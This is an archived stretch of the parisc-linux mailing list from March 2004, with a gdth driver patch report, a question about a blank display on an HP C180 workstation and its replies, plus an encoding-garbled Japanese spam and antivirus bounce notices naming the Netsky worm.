Original-Received: from thunderbolt.oss.ntelos.net (thunderbolt.oss.ntelos.net
	[216.12.8.195])
	by mailrtr03.ntelos.net (8.11.7/8.11.7) with ESMTP id i2PH47L11807
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 12:04:07 -0500
In-Reply-To: <20040325032639.GA7587@colo.lackof.org>
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Mar 2004 17:04:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21191

On Wed, 2004-03-24 at 22:26, Grant Grundler wrote:
> On Wed, Mar 24, 2004 at 02:56:49PM -0500, Eric Sproul wrote:
> > Grant,
> > I'm working with Debian's 2.6.4 sources, but the gdth driver must be
> > unchanged since the patch applies cleanly.  Thanks!
> 
> good

I successfully ported Grant's patch to 2.4.25, and have attached a diff
for gdth.c.  All credit for this goes to Grant-- I just adjusted the
line numbers. ;)  I'll be submitting this patch as requested to
linux-scsi.

The driver appears to work now in my 2.4.25-64-smp kernel:

GDT: Storage RAID Controller Driver. Version: 2.05
GDT: Found 1 PCI Storage RAID Controllers
GDT CTR0: Configuring GDT-PCI HA at 32/0 IRQ 128

lspci:
20:00.0 RAID bus controller: Intel Corp. RAID Controller

I'm moving now to check out the RAID management utility from Intel that
supposedly worked under Debian 2.2.  I haven't even peeked at it yet.

Many thanks to Grant for getting me going.
Eric




From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: golder <samidaremogami@yahoo.co.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] $BL$>5Bz9-9p"((B5000$B1_$G3+6H(B$B$7$^$;
 $s$+!*(B
Date: Fri, 26 Mar 2004 02:18:45 +0900
Lines: 20
Approved: news@gmane.org
Message-ID: <20040325.1718450687@samidaremogami-yahoo.co.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
X-Trace: ger.gmane.org 1416623304 7252 80.91.229.3 (22 Nov 2014 02:28:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: samidaremogami@yahoo.co.jp  Thu Mar 25 10:18:50 2004
Return-Path: <samidaremogami@yahoo.co.jp>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fan-oph0hcijvrk (wd247.AFL4.vectant.ne.jp [220.247.109.247])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60BA14839
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 10:18:49 -0700 (MST)
Original-Received: from fan-oph0hcijvrk ([127.0.0.1]) by fan-oph0hcijvrk with Microsoft
	SMTPSVC(6.0.3790.0); Fri, 26 Mar 2004 02:18:45 +0900
X-Mailer: Eudora 5.12 
X-OriginalArrivalTime: 25 Mar 2004 17:18:45.0875 (UTC)
	FILETIME=[3AC2CC30:01C4128D]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 25 Mar 2004 17:18:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21192

 $B!!(B
$B!!!!!!(B     $BL$>5Bz9-9p"((B $B$4LBOG$JJ}$O:o=|$7$F$/$@$5$$!#(B
$B!!!!!!Ev9-9p$r<u?.5qH]$NJ}$O<!$N%a!<%k%"%I%l%9$K!L<u?.5qH]!M(B
$B!!!!$H$7$FAw?.$7$F$/$@$5$$!#$4LBOG$G$7$g$&$,$h$m$7$/$*4j$$$$$?$7$^$9!!(B
$B!!!!!!!!(B  bluelandok@yahoo.co.jp
 $B!!!!!!HNGd<T!!%.%U%H!!(B
       $B=j:_CO!!5~ETI\>kM[;T;{ED#8!]#2(B
       $BBeI=<T!!;3K\$7$*$j!!!!(B
$B!!!!!!!!!!!!!!!!(BTEL  0774-56-6428

$B!!!!!!!!!!!!!!(B
$B!!!!!!!!!!!!(B $B?'!9$J%M%C%H%S%8%M%9$KLB$C$F$$$^$;$s$+!#(B
$B!!!!!!!!!!!!0i;yEy$KB?K;$J=w@-!"2HDm$G=PMh$k;E;v$r$*5a$a$NJ}!"(B
$B!!!!!!!!!!!!B(<}F~$K$D$J$,$k(B $B%S%8%M%9%^%s$NI{6H$K%T%C%?%j!&!&!&(B
$B!!!!!!!!!!!!!!;qK\6b$r$+$1$:$K2T$0!*5f6K$N%S%8%M%9$,$3$l$G$9!*!!(B
$B!!!!!!!!!!(Bhttp://goodmails.redirectme.net/$B!!!!!!!!!!(B          
              $B!!!!!!!!!!!!!!(B  
      
          


From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Fri, 26 Mar 2004 03:23:54 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <09a601c412d9$62e2a400$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623304 7255 80.91.229.3 (22 Nov 2014 02:28:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:24 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Thu Mar 25 19:22:36 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4F7E498C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 19:22:35 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E884F2.dip0.t-ipconnect.de
	[217.232.132.242])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2Q2MNo21735
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 03:22:29 +0100
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Fri, 26 Mar 2004 03:23:55 +0100
thread-index: AcQS2WLi6rvKsJSfT46CynafvXS6HQ==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 26 Mar 2004 02:23:55.0131 (UTC)
	FILETIME=[62FF2CB0:01C412D9]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 02:22:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21193

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/26/2004 3:23:54 AM
Engine/Pattern = 6.860-1001/1.837.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Prakash Shenoy" <mpshenoy@vsnl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 Visualize C180 Workstation display does not
	appear.
Date: Thu, 25 Mar 2004 22:06:35 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <OFEELBIMFFDMJBJFHICCAEIICEAA.mpshenoy@vsnl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623304 7256 80.91.229.3 (22 Nov 2014 02:28:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:24 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: mpshenoy@vsnl.com  Thu Mar 25 20:06:39 2004
Return-Path: <mpshenoy@vsnl.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sccrmhc11.comcast.net (sccrmhc11.comcast.net [204.127.202.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id 871C8499E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 20:06:39 -0700 (MST)
Original-Received: from shama (pcp08440342pcs.avenel01.nj.comcast.net[69.136.143.63])
	by comcast.net (sccrmhc11) with SMTP
	id <2004032603063201100lvmlre>; Fri, 26 Mar 2004 03:06:33 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 03:06:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21194

Hi!

I recently bought a HP 9000 Visualize C180 workstation from a vendor on eBay
and EVC to VGA Video Adapter Cable from another vendor. Both claim that Non
DOA on arrival.

The workstation appears to boot properly but no display appears. Has any one
come across this situation.

Please help.

Best Regards
pms



From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Prakash Shenoy" <mpshenoy@vsnl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 Visualize C180 Workstation display does not
	appear.
Date: Thu, 25 Mar 2004 22:16:40 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <OFEELBIMFFDMJBJFHICCKEIICEAA.mpshenoy@vsnl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623305 7257 80.91.229.3 (22 Nov 2014 02:28:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: mpshenoy@vsnl.com  Thu Mar 25 20:16:46 2004
Return-Path: <mpshenoy@vsnl.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sccrmhc11.comcast.net (sccrmhc11.comcast.net [204.127.202.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4BEA4856
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 20:16:45 -0700 (MST)
Original-Received: from shama (pcp08440342pcs.avenel01.nj.comcast.net[69.136.143.63])
	by comcast.net (sccrmhc11) with SMTP
	id <2004032603163701100lth0he>; Fri, 26 Mar 2004 03:16:45 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 03:16:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21195

Hi!

I recently bought a HP 9000 Visualize C180 workstation from a vendor on eBay
and EVC to VGA Video Adapter Cable from another vendor. Both claim that Non
DOA on arrival.

The workstation appears to boot properly but no display appears. Has any one
come across this situation.

Please help.

Best Regards
pms



From - Thu Nov 08 21:31:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Morrison <ja2morri@csclub.uwaterloo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 Visualize C180 Workstation display does
	not appear.
Date: 25 Mar 2004 22:20:48 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <kfhlllojnu7.fsf@perpugilliam.csclub.uwaterloo.ca>
References: <OFEELBIMFFDMJBJFHICCKEIICEAA.mpshenoy@vsnl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623305 7258 80.91.229.3 (22 Nov 2014 02:28:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Prakash Shenoy" <mpshenoy@vsnl.com>
Original-X-From: ja2morri@csclub.uwaterloo.ca  Thu Mar 25 20:21:54 2004
Return-Path: <ja2morri@csclub.uwaterloo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from perpugilliam.csclub.uwaterloo.ca
	(perpugilliam.csclub.uwaterloo.ca [129.97.134.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68ADF4856
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 20:21:54 -0700 (MST)
Original-Received: by perpugilliam.csclub.uwaterloo.ca (Postfix, from userid 20178)
	id A948910BEC6; Thu, 25 Mar 2004 22:20:49 -0500 (EST)
Original-Sender: ja2morri@perpugilliam.csclub.uwaterloo.ca
In-Reply-To: <OFEELBIMFFDMJBJFHICCKEIICEAA.mpshenoy@vsnl.com>
Original-Lines: 21
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 03:21:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21196


"Prakash Shenoy" <mpshenoy@vsnl.com> writes:

> Hi!
> 
> I recently bought a HP 9000 Visualize C180 workstation from a vendor on eBay
> and EVC to VGA Video Adapter Cable from another vendor. Both claim that Non
> DOA on arrival.
> 
> The workstation appears to boot properly but no display appears. Has any one
> come across this situation.
> 
> Please help.
> 
> Best Regards
> pms

 Do you have a keyboard plugged in?

Jim



From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 Visualize C180 Workstation display does
	not appear.
Date: Thu, 25 Mar 2004 21:40:08 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20040326044008.GA28525@colo.lackof.org>
References: <OFEELBIMFFDMJBJFHICCAEIICEAA.mpshenoy@vsnl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623305 7266 80.91.229.3 (22 Nov 2014 02:28:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Prakash Shenoy <mpshenoy@vsnl.com>
Original-X-From: grundler@lackof.org  Thu Mar 25 21:40:09 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A5B04855
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 21:40:09 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id C177D29804F; Thu, 25 Mar 2004 21:40:08 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 28474-04; Thu, 25 Mar 2004 21:40:08 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2B1A1298048; Thu, 25 Mar 2004 21:40:08 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <OFEELBIMFFDMJBJFHICCAEIICEAA.mpshenoy@vsnl.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 04:40:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21197

On Thu, Mar 25, 2004 at 10:06:35PM -0500, Prakash Shenoy wrote:
> Hi!
> 
> I recently bought a HP 9000 Visualize C180 workstation from a vendor on eBay
> and EVC to VGA Video Adapter Cable from another vendor. Both claim that Non
> DOA on arrival.
> 
> The workstation appears to boot properly but no display appears. Has any one
> come across this situation.

Have you tried hitting <tab> key at power up?
That should let you cycle through the various supported
graphics modes.

Have you tried with a serial console?
disconnect the keyboard before doing this.

This is a FAQ but it's not in the parisc-linux FAQ.
If someone has a moment to submit a patch against
cvs.parisc-linux.org's web/src/faq/index.x I'll be
happy to edit/submit it.

thanks,
grant


From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Fri, 26 Mar 2004 06:43:02 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <0a4601c412f5$345aa620$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623306 7273 80.91.229.3 (22 Nov 2014 02:28:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:26 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Thu Mar 25 22:41:42 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACC094856
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Mar 2004 22:41:41 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E884F2.dip0.t-ipconnect.de
	[217.232.132.242])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2Q5feo06991
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 06:41:40 +0100
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Fri, 26 Mar 2004 06:43:02 +0100
thread-index: AcQS9TRaZmGUMCqaRjuJ3CdFaypXYQ==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 26 Mar 2004 05:43:02.0802 (UTC)
	FILETIME=[345D1720:01C412F5]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 05:41:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21198

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/26/2004 6:43:00 AM
Engine/Pattern = 6.860-1001/1.837.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Postmaster@china-painting.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] MDaemon Notification -- Attachment Removed
Date: Fri, 26 Mar 2004 18:19:57 +0800
Lines: 13
Approved: news@gmane.org
Message-ID: <MDAEMON2476200403261819.AA1957250@china-painting.net>
Reply-To: Postmaster@china-painting.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=gb2312
X-Trace: ger.gmane.org 1416623306 7283 80.91.229.3 (22 Nov 2014 02:28:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Fri Mar 26 03:16:16 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from china-painting.net (unknown [218.246.32.243])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE8984856
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 03:16:15 -0700 (MST)
Original-Received: from china-painting.net [218.246.32.243] by china-painting.net
	[218.246.32.243] (with RAW) (MDaemon.PRO.v6.8.4.R)
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 18:19:57 +0800
X-MDaemon-Deliver-To: parisc-linux@lists.parisc-linux.org
X-Actual-From: Postmaster@china-painting.net
X-MDSend-Notifications-To: [trash]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 10:16:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21199

ʼƵĸѱƳ:

     : parisc-linux@lists.parisc-linux.org
     : info@china-corrosion.net
       : Mail Delivery (failure info@china-corrosion.net)
ʼ ID    : 

Ƴĸ:
-----------------------------------------
message.scr




From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: virusmanager@indura.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Envio Rechazado (Replaced with text)
Date: Sat, 27 Mar 2004 09:08:52 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20040326130944.ECF5B485D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1080392932_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623306 7285 80.91.229.3 (22 Nov 2014 02:28:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:26 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: virusmanager@indura.net  Fri Mar 26 06:09:45 2004
Return-Path: <virusmanager@indura.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from indumail.indura.cl (unknown [200.2.92.7])
	by dsl2.external.hp.com (Postfix) with SMTP id ECF5B485D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 06:09:44 -0700 (MST)
Original-Received: from feroza.indura.cl (172.30.1.3 [172.30.1.3]) by
	indumail.indura.cl with SMTP (Microsoft Exchange Internet Mail
	Service Version 5.5.2653.13)
